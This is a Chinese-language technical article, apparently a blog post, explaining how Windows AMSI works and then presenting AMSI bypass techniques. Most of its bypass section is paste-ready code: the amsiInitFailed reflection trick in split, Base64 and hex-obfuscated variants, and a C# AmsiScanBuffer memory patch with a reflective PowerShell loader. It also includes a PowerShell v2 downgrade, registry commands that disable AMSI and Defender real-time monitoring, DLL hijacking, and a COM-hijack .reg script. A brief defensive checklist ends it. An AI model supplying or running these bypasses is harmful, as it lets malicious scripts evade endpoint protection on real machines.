初探 Windows AMSI (反恶意软件扫描接口)
字数 2445 2025-08-05 00:16:28
Windows AMSI (反恶意软件扫描接口) 深度解析与绕过技术
1. AMSI 概述
1.1 什么是 AMSI
Windows 反恶意软件扫描接口 (AMSI, Antimalware Scan Interface) 是一种通用接口标准,允许应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。
关键特性:
- 在 Windows Server 2016 和 Win10 上默认安装并启用
- 与反恶意软件供应商无关
- 支持文件和内存/流扫描、内容源 URL/IP 信誉检查等技术
- 支持会话概念,可关联不同扫描请求
1.2 AMSI 实现
AMSI 本体是一个 DLL 文件,位于 c:\windows\system32\amsi.dll,提供:
- Win32 API:为正常应用程序提供的接口
- COM 接口:为杀软供应商提供的接口
从 Windows 10 版本 1903 开始,如果 AMSI 提供程序 DLL 未经过验证码签名,则可能无法加载。
2. AMSI 集成组件
AMSI 功能已集成到以下 Windows 组件中:
- 用户帐户控制 (UAC) - EXE、COM、MSI 或 ActiveX 安装的提升
- PowerShell - 脚本、交互使用和动态代码评估
- Windows 脚本宿主 (wscript.exe 和 cscript.exe)
- JavaScript 和 VBScript
- Office VBA 宏 (VBE7.dll)
- .NET Assembly (clr.dd)
- WMI
3. AMSI 检测内容与目的
3.1 检测内容
- 文件
- 内存数据流
3.2 检测目的
- 对抗基于脚本的攻击检测
- 对抗无文件攻击检测
3.3 可检测的攻击类型
- Powershell.exe 执行的脚本
- 不使用 powershell.exe 的情况下运行脚本
- 使用单独的 runspace (p0wnedshell, psattack)
- System.Automation.Dll (nps, Powerpick)
- 从 WMI 命名空间、注册表键和事件记录日志中加载脚本
- 应用白名单绕过方式 (InstallUtil, regsrv32 和 rundll32)
4. AMSI 工作原理
4.1 基本流程
- 创建 PowerShell 进程时,AMSI.DLL 从磁盘加载到内存地址空间
- AMSI.DLL 中的 AmsiScanBuffer() 函数用于扫描脚本内容
- PowerShell 执行命令时,任何内容首先发送到 AmsiScanBuffer()
- AmsiScanBuffer() 将内容发送给 Windows Defender 检查
- 如果内容被认为是恶意的,将被阻止运行
4.2 框架结构
- Windows Defender ATP 主要使用机器学习模型发现威胁
- AMSI 是与 Windows Defender 相对独立的模块
- Windows Defender 是默认的 AMSI Provider
5. AMSI 绕过技术
5.1 降级技术
PowerShell v2 版不支持 AMSI,可通过以下方式降级:
powershell -version 2
注意事项:
- 需要 .NET 3.5 版本支持
- 静默安装参数:
/Q /NORESTART /lcid 1033 - 普通域内机器安装会弹出 UAC
5.2 混淆技术
5.2.1 基本混淆方法
- 拆分后拼接
- XOR/Base64 编码
- 进制转换
- 使用混淆工具 (如 https://amsi.fail/)
5.2.2 反射绕过示例
原始方法:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
改进后的混淆方法:
$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)
Base64 编码版本:
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
Hex 编码版本:
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
5.3 内存补丁技术
5.3.1 C# 实现
using System;
using System.Runtime.InteropServices;
namespace Help
{
public class Test
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
public static int Disable()
{
IntPtr TargetDLL = LoadLibrary("amsi.dll");
if (TargetDLL == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
return 1;
}
IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
if (AmsiScanBufferPtr == IntPtr.Zero)
{
Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
return 1;
}
UIntPtr dwSize = (UIntPtr)5;
uint Zero = 0;
if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
{
Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
return 1;
}
Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);
Console.WriteLine("AmsiScanBuffer patch has been applied.");
return 0;
}
}
}
5.3.2 PowerShell 加载方式
$string = ''
$a = [System.Convert]::FromBase64String('你的base64编码')
$a | foreach {$string = $string + $_.ToString()+','}
$string
function Help-Test
{
if(-not ([System.Management.Automation.PSTypeName]"Help.Test").Type) {
[Reflection.Assembly]::Load([byte[]]@(上面得到的byte数组)) | Out-Null
Write-Output "DLL has been reflected";
}
[Help.Test]::Disable();
}
5.4 注册表修改
5.4.1 禁用 AMSI
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows Script\Settings" -Name "AmsiEnable" -Value 0
5.4.2 关闭 Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true
5.5 DLL 劫持
在 C:\Windows\System32\WindowsPowerShell\v1.0 下放置伪造的 AMSI.dll,利用 DLL 加载优先级:
- 进程对应的应用程序所在目录
- 系统目录 (通过 GetSystemDirectory 获取)
- 16位系统目录
- Windows 目录 (通过 GetWindowsDirectory 获取)
- 当前目录
- PATH 环境变量中的各个目录
5.6 COM 劫持
创建注册表项使 AMSI 的 COM 组件实例化失败:
echo Windows Registry Editor Version 5.00 > bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}] >> bypass.reg
echo [HKEY_CURRENT_USER\Software\Classes\CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32] >> bypass.reg
echo @="C:\\IDontExist.dll" >> bypass.reg
regedit /s bypass.reg
6. 防御措施
- 开启全部系统日志并分析
- 至少开启 PowerShell 脚本块、Sysmon 和进程创建日志
- 安装 4.0 以上版本 PowerShell
- 卸载或禁用 2.0 版本 PowerShell
- 开启 PowerShell 的相关安全机制 (APPLocker, Device Guard, Credential Guard 等)
- 监控注册表
HKCU\Software\Microsoft\Windows\Script\Settings\AmsiEnable的值 - 对于 Windows 10 1903 及以上版本,可配置
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits启用签名检测
7. 版本限制
- Windows 10 1709 以后:如果 AMSI 提供程序依赖于同目录下其他 DLL 同时加载,将不能工作
- Windows 10 1903 以后:AMSI 提供商 DLL 没有 Authenticode-signed 可能无法加载 (取决于注册表
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\AMSI\FeatureBits的值,默认 0x01 表示签名检测被禁止)